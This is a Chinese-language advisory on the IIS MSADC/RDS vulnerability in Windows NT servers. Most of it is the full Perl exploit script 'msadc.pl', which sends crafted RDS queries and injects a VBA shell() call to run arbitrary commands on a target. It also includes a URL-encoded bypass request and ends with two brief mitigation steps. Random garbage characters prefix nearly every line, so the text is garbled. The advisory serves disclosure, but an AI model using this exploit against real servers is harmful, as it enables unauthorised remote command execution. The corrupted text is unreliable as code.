IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
s z;=mMr/Z *X%?3"WH8 涉及程序:
q$bHO Microsoft NT server
i?lX,9% loml.e=87 描述:
rve7YS' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jM{qRfOrg " vv$%^ 详细:
'\Qf,%%. 如果你没有时间读详细内容的话,就删除:
-Mr{+pf c:\Program Files\Common Files\System\Msadc\msadcs.dll
- $xKv4 有关的安全问题就没有了。
MoZU(j e|S+G6 :O2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
B9%yd*SJ =ltbS f7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
TXA. 6e 关于利用ODBC远程漏洞的描述,请参看:
pZyb GjG{qR http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c& 9+/JYMo l_UXrnm/N 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
rOs)B 21/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp u?F7L8q] e{c._zr, 这里不再论述。
,)0/Ec U{j5kX 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;4+qPWwq8W KteZK.+#: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
nC-c8y 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
dY/|/eOt<K %iHyt,0v2 [GcA.ABz #将下面这段保存为txt文件,然后: "perl -x 文件名"
A}az
m> d,Im&j_Z #!perl
]9bh+ #
-U/I'RDLEz # MSADC/RDS 'usage' (aka exploit) script
$}^Rsv( #
m0dFA<5- # by rain.forest.puppy
gt].rwo" #
}dV9%0s! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
uJ2C+$=Ul # beta test and find errors!
~ex~(AWh S-H-tFy\\ use Socket; use Getopt::Std;
S
jC)6mo getopts("e:vd:h:XR", \%args);
yHa:?u6 FCS5@l,'< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|H3?ox* +z~!#j4Q if (!defined $args{h} && !defined $args{R}) {
X3&SL~&>g print qq~
fRca"v V Usage: msadc.pl -h <host> { -d <delay> -X -v }
O c^6u -h <host> = host you want to scan (ip or domain)
Rx@%cuP* -d <seconds> = delay between calls, default 1 second
e<: 4czh8 -X = dump Index Server path table, if available
-oaG| -v = verbose
V1UUAvN7s -e = external dictionary file for step 5
>"PqQO '@3a,pl Or a -R will resume a command session
i-K"9z|) N|j;=y! ~; exit;}
=Qjw.6@ ifgr<QlG $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^Yg|P&e(; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+=,4@I% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
B.C H9M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YUP%K!k $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
i-Ge*? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(50[,:# /ej/&x15 if (!defined $args{R}){ $ret = &has_msadc;
URmAI8fq*M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
mE3SiR " @8 oDy$j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{GG~E54&B . "cmd /c ";
0C"PC:h5 $in=<STDIN>; chomp $in;
7Y_fF1-wY $command="cmd /c " . $in ;
m=("N Sm*Jysy` if (defined $args{R}) {&load; exit;}
x):k#cu[L 76u/WC>B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Bsih<`KF^ &try_btcustmr;
S1x.pLHj8 *'AS^2' print "\nStep 2: Trying to make our own DSN...";
h1G*y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Cnc\sMDJ\B ,&zjOc_v print "\nStep 3: Trying known DSNs...";
01UR &known_dsn;
^J*G%* o\=i0HR9 print "\nStep 4: Trying known .mdbs...";
ib""Fv7{ &known_mdb;
q|Pt>4c5? eD`
, if (defined $args{e}){
f2SU5e2 print "\nStep 5: Trying dictionary of DSN names...";
%FR^[H] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
XeIUdg4>R h.}t${1ZC print "Sorry Charley...maybe next time?\n";
!txELA~24 exit;
N.Wdi Ndug9j\2 ##############################################################################
a2klOX{ nDoiG#N0 sub sendraw { # ripped and modded from whisker
HqnKpZ sleep($delay); # it's a DoS on the server! At least on mine...
F`ZIc7(.{ my ($pstr)=@_;
]L%R[Z!3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&[2Ej|o die("Socket problems\n");
x(/@Pt2B if(connect(S,pack "SnA4x8",2,80,$target)){
SceCucT select(S); $|=1;
6yl;o_6: print $pstr; my @in=<S>;
)68fm\t( select(STDOUT); close(S);
ou,=MpXx* return @in;
8y4D9_{ } else { die("Can't connect...\n"); }}
#pm-nU%|_j *?R\[59 ##############################################################################
!=h|&Vta ma]F%E+$ sub make_header { # make the HTTP request
~QEXB*X-g' my $msadc=<<EOT
l_j<aCY?| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@7[.>I( User-Agent: ACTIVEDATA
VM V]TPks> Host: $ip
mB|mt+ Content-Length: $clen
M_e$l`"G Connection: Keep-Alive
*|gs-<[#X u6S0t?Udap ADCClientVersion:01.06
4htSwK+
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tMPXvE L/iVs`qF --!ADM!ROX!YOUR!WORLD!
_{Q?VQvZ Content-Type: application/x-varg
mJDKxgGK Content-Length: $reqlen
~=AKX(Q S'-`\%@7 EOT
QSs$ ; $msadc=~s/\n/\r\n/g;
TXh@ return $msadc;}
vX0I^8. )T};Q: ##############################################################################
#Wc #fP *_).UAP. sub make_req { # make the RDS request
ch,Zk )y:_ my ($switch, $p1, $p2)=@_;
D`~{[cv)\ my $req=""; my $t1, $t2, $query, $dsn;
iP?ASqo{ 5q_OuZ/6 if ($switch==1){ # this is the btcustmr.mdb query
EDidg"0p $query="Select * from Customers where City=" . make_shell();
}MavI' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
w[$nO# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
b\0Q: .dKRIFo elsif ($switch==2){ # this is general make table query
yL3<X w| $query="create table AZZ (B int, C varchar(10))";
7U[L\1zS $dsn="$p1";}
| 8L`osg %d[xr h elsif ($switch==3){ # this is general exploit table query
rX>y>{w~ $query="select * from AZZ where C=" . make_shell();
ZV q $dsn="$p1";}
L]}RSE2 2bn@:71` elsif ($switch==4){ # attempt to hork file info from index server
">vYEkZ3 $query="select path from scope()";
4wj| $dsn="Provider=MSIDXS;";}
hpz*jyh8 ^3)2]>pW elsif ($switch==5){ # bad query
(~pEro]?+) $query="select";
~~:8Yv[( $dsn="$p1";}
97))'gC ?.Yw%{?TG $t1= make_unicode($query);
;`PkmAg $t2= make_unicode($dsn);
,nChwEn $req = "\x02\x00\x03\x00";
7+!7]'V $req.= "\x08\x00" . pack ("S1", length($t1));
Y\z\{JW $req.= "\x00\x00" . $t1 ;
cV_IG}LJ $req.= "\x08\x00" . pack ("S1", length($t2));
o(>-:l i0 $req.= "\x00\x00" . $t2 ;
JTh=JHJ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z vylL
M return $req;}
U1HD~ C94UF7al ##############################################################################
hHl-;%# #HuA(``[d sub make_shell { # this makes the shell() statement
O"^a.`27 return "'|shell(\"$command\")|'";}
&P{p\ v2Y BSu)O~s ##############################################################################
7fTg97eF HFx"fT sub make_unicode { # quick little function to convert to unicode
^'I5]cRa my ($in)=@_; my $out;
M7<#=pX& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
oJJk return $out;}
]vkHU6d .f<VmUca ##############################################################################
fYQi#0drn i`nw"8 sub rdo_success { # checks for RDO return success (this is kludge)
ryp$|?ckJ my (@in) = @_; my $base=content_start(@in);
#Xw[i if($in[$base]=~/multipart\/mixed/){
+ZA\M:^b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6BN(^y#-X return 0;}
kbT-Oz 2 pdha"EV ##############################################################################
OUk5c$M( IZv, Wo sub make_dsn { # this makes a DSN for us
s>``-
]3 my @drives=("c","d","e","f");
o4 g print "\nMaking DSN: ";
{ZM2WFpE foreach $drive (@drives) {
zu*G4?]~h print "$drive: ";
e, 0I~: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
IS
9q 5/] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
F4<2.V)#- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G1^!e j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%PdYv _5 return 0 if $2 eq "404"; # not found/doesn't exist
MVv^KezD if($2 eq "200") {
/^eemx foreach $line (@results) {
8Pdnw/W return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rHBjR_L.2 } return 0;}
2T%f~yQ^ ^?]H$e ##############################################################################
LP-Q'vb<= z(X6%p0 sub verify_exists {
j"sO<Q{6% my ($page)=@_;
N5Mz=UgB my @results=sendraw("GET $page HTTP/1.0\n\n");
yW(+?7U return $results[0];}
LLY;IUK!R eL?si!ZL^ ##############################################################################
yIf}b LqsJHG sub try_btcustmr {
]bE?n.NwZ my @drives=("c","d","e","f");
!gew;Jz my @dirs=("winnt","winnt35","winnt351","win","windows");
N&h!14]{Z 6Oba}`)q9 foreach $dir (@dirs) {
8 (h print "$dir -> "; # fun status so you can see progress
^QQNJ foreach $drive (@drives) {
3X,{9+(F print "$drive: "; # ditto
htrj3$q(4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;/q6^Nk3A $reqlenlen=length( "$reqlen" );
vl~ $clen= 206 + $reqlenlen + $reqlen;
`srZ#F5 .);:K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O:p649A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
dTQvz9 C else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
A":b_!sW >D4Ez ##############################################################################
6jo&i B]F7t4Y! sub odbc_error {
"I FGW4FnL my (@in)=@_; my $base;
$cU/Im`
my $base = content_start(@in);
R,+(JgJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Byj~\QMD| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-?1J+}? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iPO
S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y+afUJT return $in[$base+4].$in[$base+5].$in[$base+6];}
}z- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
rg/vxTl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
azc:C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
emPm^M5/K 7O^ S.( ##############################################################################
NB+O; 2vQ^519 sub verbose {
$QBUnLOek& my ($in)=@_;
!*UdY( return if !$verbose;
yP4.Z9 print STDOUT "\n$in\n";}
\U>Kn_7m E"&9FxS]^ ##############################################################################
jUSr t)o03 >!.9g sub save {
vnC&1 my ($p1, $p2, $p3, $p4)=@_;
!z
5d+ M open(OUT, ">rds.save") || print "Problem saving parameters...\n";
wu&7#![, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
qDd/wR,44 close OUT;}
/mu4J|[[ E2kRt'~N ##############################################################################
G@!9)v]9 1^^D :tt sub load {
S
Tk#hhx my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
JHH&@Cn open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]sAD5<; @p=<IN>; close(IN);
):ZumG#o $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}l!_m.#e $target= inet_aton($ip) || die("inet_aton problems");
0N ;d)3 print "Resuming to $ip ...";
i]?xM2(N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
17MjIX if($p[1]==1) {
Qo *]l_UO; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_ u2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<j3HT"^[D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+qf{ '|H if (rdo_success(@results)){print "Success!\n";}
hO@3-SRa,k else { print "failed\n"; verbose(odbc_error(@results));}}
yv4PK* elsif ($p[1]==3){
KZfRiCZ if(run_query("$p[3]")){
0*x? print "Success!\n";} else { print "failed\n"; }}
7b2<,
.E elsif ($p[1]==4){
`_^=OOn
if(run_query($drvst . "$p[3]")){
VW`=9T5%@ print "Success!\n"; } else { print "failed\n"; }}
*G41%uz exit;}
,`@|C
Z-4A mP[u[|] ##############################################################################
26K~m@ :q1r2&ne sub create_table {
MV\zwH my ($in)=@_;
TLgVuY $reqlen=length( make_req(2,$in,"") ) - 28;
p
n>`v $reqlenlen=length( "$reqlen" );
qDb}b d5 $clen= 206 + $reqlenlen + $reqlen;
hj,x~^cS my @results=sendraw(make_header() . make_req(2,$in,""));
|?A-?- return 1 if rdo_success(@results);
F|Q#KwN my $temp= odbc_error(@results); verbose($temp);
^T,cXpx| return 1 if $temp=~/Table 'AZZ' already exists/;
BG=_i#V return 0;}
c$fM6M
} P,_E 4y ##############################################################################
1hi j4m$b a"aV&t sub known_dsn {
l:f
sZO4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ayp}TYh* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
cyNLeg+O* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mu sxX58% "banner", "banners", "ads", "ADCDemo", "ADCTest");
Zh^w)}(W 64fG,b foreach $dSn (@dsns) {
Kjw\SQ)2~ print ".";
#KW:OFT next if (!is_access("DSN=$dSn"));
?~IZ{! if(create_table("DSN=$dSn")){
'7s!NF2 print "$dSn successful\n";
UI;{3Bn if(run_query("DSN=$dSn")){
L ai"D[N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
||aU>Wj4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
>,3
3Jx g"Bv!9*H ##############################################################################
!d(V7`8 .vMi<U; sub is_access {
{8RGW0Y my ($in)=@_;
%A3Jd4DH $reqlen=length( make_req(5,$in,"") ) - 28;
9#!tzDOtD $reqlenlen=length( "$reqlen" );
nT"z(\i.!J $clen= 206 + $reqlenlen + $reqlen;
{+Yo&F}n my @results=sendraw(make_header() . make_req(5,$in,""));
Dy!fwYPA/{ my $temp= odbc_error(@results);
,RQ-w2j? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>B7OTGw return 0;}
PK"
C+o;: 'zK*?= ^jk ##############################################################################
i;Y^}2 n TG|Isa sub run_query {
sSUd;BYf my ($in)=@_;
aDuanGC/V $reqlen=length( make_req(3,$in,"") ) - 28;
B!@0(A $reqlenlen=length( "$reqlen" );
pdSyx>rJ $clen= 206 + $reqlenlen + $reqlen;
*gVv74;; my @results=sendraw(make_header() . make_req(3,$in,""));
ez{&Y>n return 1 if rdo_success(@results);
n}{cs my $temp= odbc_error(@results); verbose($temp);
M.xEiHz return 0;}
cqudF=q rY}ofq7b ##############################################################################
p~IvkW>ln) d%bL_I) sub known_mdb {
tO7{g my @drives=("c","d","e","f","g");
T*m21< my @dirs=("winnt","winnt35","winnt351","win","windows");
'oG'`ED" my $dir, $drive, $mdb;
e-mlvi^- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fp0Va!T(V 1~Nz6 # this is sparse, because I don't know of many
qv6]YPP my @sysmdbs=( "\\catroot\\icatalog.mdb",
^iNR(cwgX "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Yo:&\a K[ "\\system32\\certmdb.mdb",
tPsU7bFk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
odDt.gQXU 7[LC*nrr my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:Kiu*&{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
X!Q"p$D4( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h 8s*FI "\\cfusion\\cfapps\\security\\realm_.mdb",
u2QJDLMJv "\\cfusion\\cfapps\\security\\data\\realm.mdb",
h%%'{^>~ "\\cfusion\\database\\cfexamples.mdb",
D#0}/ "\\cfusion\\database\\cfsnippets.mdb",
xXZN<<f59 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
71_N9ub@z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
q9Q4F "\\cfusion\\brighttiger\\database\\cleam.mdb",
<vs.Ucxx "\\cfusion\\database\\smpolicy.mdb",
F <(Y "\\cfusion\\database\cypress.mdb",
y+a&swd2(U "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#LiC@> "\\website\\cgi-win\\dbsample.mdb",
RMXP)[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^d,d<Uc "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6]VTn- ); #these are just
iYnt:C foreach $drive (@drives) {
x>cu<,e$d\ foreach $dir (@dirs){
k4v[2y` foreach $mdb (@sysmdbs) {
',f[y:v; print ".";
U|=y&a2Rb if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#u_-TWVt print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
d9s"y?8 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_
0-YsD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tBrVg<]t } else { print "Something's borked. Use verbose next time\n"; }}}}}
F~EriO k.%F!sK foreach $drive (@drives) {
m`Z4#_s2 foreach $mdb (@mdbs) {
8Xr"4;}f+ print ".";
C}CX n X if(create_table($drv . $drive . $dir . $mdb)){
R##O9BSI8Z print "\n" . $drive . $dir . $mdb . " successful\n";
"2mVW_k if(run_query($drv . $drive . $dir . $mdb)){
F>OYZOC] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7DDot_qb } else { print "Something's borked. Use verbose next time\n"; }}}}
kDsUKO
p
}
#]rw@c Ab`G b ##############################################################################
#ed]zI9O ~F WmT(S sub hork_idx {
y^ohns5{ print "\nAttempting to dump Index Server tables...\n";
AWw'pgTQX print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Lxl?6wZ $reqlen=length( make_req(4,"","") ) - 28;
(U)=t$=o $reqlenlen=length( "$reqlen" );
XIU2l}g $clen= 206 + $reqlenlen + $reqlen;
lG2){){j my @results=sendraw2(make_header() . make_req(4,"",""));
m35G; if (rdo_success(@results)){
[yz;OoA:; my $max=@results; my $c; my %d;
m9/a!|fBE for($c=19; $c<$max; $c++){
H_9~gi $results[$c]=~s/\x00//g;
tZJKB1#WbP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
sB $!X@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.$Y[>9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1z)+P1nH] $d{"$1$2"}="";}
6(.&y; foreach $c (keys %d){ print "$c\n"; }
-szvO_UP } else {print "Index server doesn't seem to be installed.\n"; }}
=3FXU{"Qi4 \-^3Pe, ##############################################################################
OA+W$ d/e9LK sub dsn_dict {
7{6wNc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
5QlJX while(<IN>){
grZN.zTO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
yt?#T# next if (!is_access("DSN=$dSn"));
X]N8'Yt if(create_table("DSN=$dSn")){
h<?Vzl print "$dSn successful\n";
kHJjdgV if(run_query("DSN=$dSn")){
GE>&fG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;I9D>shkc print "Something's borked. Use verbose next time\n";}}}
H=0Y4 T@)T print "\n"; close(IN);}
d<y
B ~Y fSj^/> ##############################################################################
f.!cR3XgV 74Lq!e3hMF sub sendraw2 { # ripped and modded from whisker
h-<+Pj c sleep($delay); # it's a DoS on the server! At least on mine...
qu?D`29 my ($pstr)=@_;
t JJaIb6Xj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5z0SjQ die("Socket problems\n");
by-B).7 if(connect(S,pack "SnA4x8",2,80,$target)){
b( wiJ&t print "Connected. Getting data";
,$*$w< open(OUT,">raw.out"); my @in;
'E9\V\bi select(S); $|=1; print $pstr;
Q WOd&=: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G*ecM`Bl close(OUT); select(STDOUT); close(S); return @in;
IyMKV$" } else { die("Can't connect...\n"); }}
nfc&.(6x< &",pPuq ##############################################################################
OfPWqNpO %N 2=: ;f sub content_start { # this will take in the server headers
Hg<]5 my (@in)=@_; my $c;
}nkX-PG9 for ($c=1;$c<500;$c++) {
)H)HR` if($in[$c] =~/^\x0d\x0a/){
}psJ'aiG* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
^hU7QxW else { return $c+1; }}}
v=!]t=P)t return -1;} # it should never get here actually
`Dj-(~x $cc]pJy"} ##############################################################################
Y}PI{PN )8yNqnD sub funky {
B&cC;Hw my (@in)=@_; my $error=odbc_error(@in);
r.[9/'> if($error=~/ADO could not find the specified provider/){
O>UR\l|+:2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J@52<.>6 exit;}
%{axoGd if($error=~/A Handler is required/){
>=wlS\:" print "\nServer has custom handler filters (they most likely are patched)\n";
KATt9ox@ exit;}
7Y:1ji0l if($error=~/specified Handler has denied Access/){
H.*XoktC] print "\nServer has custom handler filters (they most likely are patched)\n";
kf';" exit;}}
p;g$D=2 h60*=+vdJ ##############################################################################
S_WYU&8 Mc9% s$MT sub has_msadc {
c{zQX0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>a[)F my $base=content_start(@results);
>osY?9 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+[ !K return 0;}
LyH{{+V \It8+^d@ ########################
F8f@^LVM/ @a+1Ri`) &0~E+
9b 解决方案:
8e x{N3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Hr:WE+' 2、移除web 目录: /msadc